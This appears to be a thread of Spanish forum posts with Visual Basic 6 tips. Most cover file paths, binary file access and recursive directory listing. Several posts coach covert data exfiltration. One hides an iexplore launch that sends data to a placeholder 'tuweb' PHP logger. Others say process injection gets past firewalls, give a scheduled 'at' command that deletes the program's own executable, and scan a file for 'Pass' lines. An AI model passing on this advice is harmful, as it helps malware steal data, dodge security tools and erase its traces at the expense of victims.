Mensajes

Código [Seleccionar] Expandir

Shell "C:\ruta\iexplore.exe http://tuweb.es/tal.php?tal=tal", vbHide

La última pregunta no la entiendo, EN PRINCIPIO porque va a ser detectable abrir una web con internetexplorer? y que mas dá si es un php o un html? y para que enviar los datos a ningún sitio?
Dónde tengas hospedado el php haces que cree un archivo log.txt con el contenido de la variable tal= y yastá. :S

Haces que tu programa lance el iexplore de forma oculta así:
iexplore.exe [url="http://tuweb.com/pillalogs.php?log="tusdatosblabla""]http://tuweb.com/pillalogs.php?log="tusdatosblabla"[/url]
Luego tu php que guarde esa variable en un archivo y listo.

La mayoría de firewalls no lo pillan, pero hay bastantes que si. Para que no te cace ningún firewall el único método realmente efectivo es la inyección.

Digo que eso de hacer la comprovación para saber si estamos en la raíz del disco es una tonteria, porque es lo mismo C:\dir que C:\\\dir...

Y a lo tuyo se le llama chapuza

Que microsoft en esa funcion haya tenido en cuenta tu error no hace que el modo de calcular la ruta sea el correcto. Un dia utilizarás un modulo, un ocx o una función que no lo tiene en cuenta y te preguntarás porque falla el programa. Las rutas tienen una estructura definida, porque salirnos de ella? prueba a poner "c:\\dir" en el explorer a ver que pasa. Y si usamos la ruta con un sendmessage ahí por poner un ejemplo?

Es solo un detalle pero ya puestos solo cuesta una linia de código programar bien y con un mínimo de estilo.

Y ademas la ruta esta mal obtenida... tienes q usar:

Código:

Ruta = App.Path & "\" & app.exename

Sigue estando mal obtenida, si el exe está en c: la barra sobrará por lo tanto sería:

Código [Seleccionar] Expandir


dim barra as string

if right$(app.path,1)="\" then barra="" else barra="\"
ruta=app.path & barra & app.exename

Será lo que dice Celaya.
A parte unas notas de estilo, para ficheros binarios se utiliza get no input y al abrir un fichero es muy aconsejable decirle el tipo de acceso:
open tal for binary access write as #loquesea

Ya puestos a usar batch haces directamente con shell desde vb un

at 11:11 /intercative cmd.exe /C del c:\algo.exe

Y ya no será necesario mantener y ocultar el programa

Un Sleep seguirá trabando el programa lo que hay que hacer es poner un DoEvents en medio del bucle.

Código [Seleccionar] Expandir

Private Sub buscar()
    Dim foldersTotales As Integer
    Dim contados As Long
    On Error Resume Next
    foldersTotales = Dir1.ListCount
     If foldersTotales > 0 Then
           For contados = 0 To foldersTotales - 1
               Dir1.Path = Dir1.List(contados)
               DoEvents
               buscar
           Next
     End If
    List1.AddItem Dir1.Path
    Dir1.Path = Dir1.List(-2)
    Dir1.Refresh
End Sub


Aquí un código que hice hace tiempo usando directamente la api. Estas apis aceptan mascaras así que tambien sirven para buscar cierto archivo en un directorio directamente desdel sistema. Es un poco mas complicado pero creo que merece la pena aprenderlo para saber moverse sin los controles de vb.

Código [Seleccionar] Expandir


Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Type WIN32_FIND_DATA
   dwFileAttributes As Long
   ftCreationTime As FILETIME
   ftLastAccessTime As FILETIME
   ftLastWriteTime As FILETIME
   nFileSizeHigh As Long
   nFileSizeLow As Long
   dwReserved0 As Long
   dwReserved1 As Long
   cFileName As String * MAX_PATH
   cAlternate As String * 14
End Type

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Function ExploreFiles(sSourcePath As String, sFiles As String) As String

Dim WFD As WIN32_FIND_DATA

Dim hFile As Long
Dim bNext As Long
Dim arch As String
Dim sortida As String

hFile = FindFirstFile(sSourcePath & sFiles, WFD)
If (hFile = -1) Then
    ExploreFiles = "Path Not Found!"
    Exit Function
End If

If hFile Then
    Do
        arch = Left$(WFD.cFileName, InStr(WFD.cFileName, Chr$(0)) - 1)
        If arch <> "." And arch <> ".." Then
        DoEvents
        if GetFileAttributes(ssourcepath & arch) and FILE_ATTRIBUTE_DIRECTORY then
                 arch=explorefiles(ssourcepath & arch & "\","*.*")
        end if
            sortida = sortida & arch & vbCrLf
        End If

        bNext = FindNextFile(hFile, WFD)
    Loop Until bNext = 0

End If

Call FindClose(hFile)

ExploreFiles = sortida
End Function


Copiar este código en el general y en un boton por ejemplo:

msgbox explorefiles("c:\","*.exe")

o

msgbox explorefiles("c:\","*.*")

Bueno, se entiende.
Saludos

//Modificado:
Me había dejado la recursividad

En vb pocas veces hay que complicarse la vida con cosas así de simples,  incluso hay una función especifica para eso en ansi c.

Tu función es instr
Busca una cadena dentro de otra y te devuelve su posición

Si te inyectas en el programa (se entiende en disco en su binario) el firewall te avisará de que el archivo a cambiado.
Si te inyectas en el proceso (se entiende en memória) el firewall hasta hoy no se entera.

El problema está en que input se usa así:
resultado=input(numero de caracteres, #canal)

Necesitas saber el número de caracteres a recoger por lo que deberías cargar todo el archivo en memória i buscar.
Personalmente prefiero hacerlo de este modo:

Código [Seleccionar] Expandir

encontrado=false
while not eof(1) and not encontrado
      line input #1, linia
      cnt=cnt+1
      if left$(linia,4)="Pass" then
           encontrado=true
           msgbox "Encontrado en" & cnt
      endif
wend

Cual es mejor? pues uno te consume mas memoria y el otro mas entradas y salidas, aunque a este nivel es indiferente.

Saludos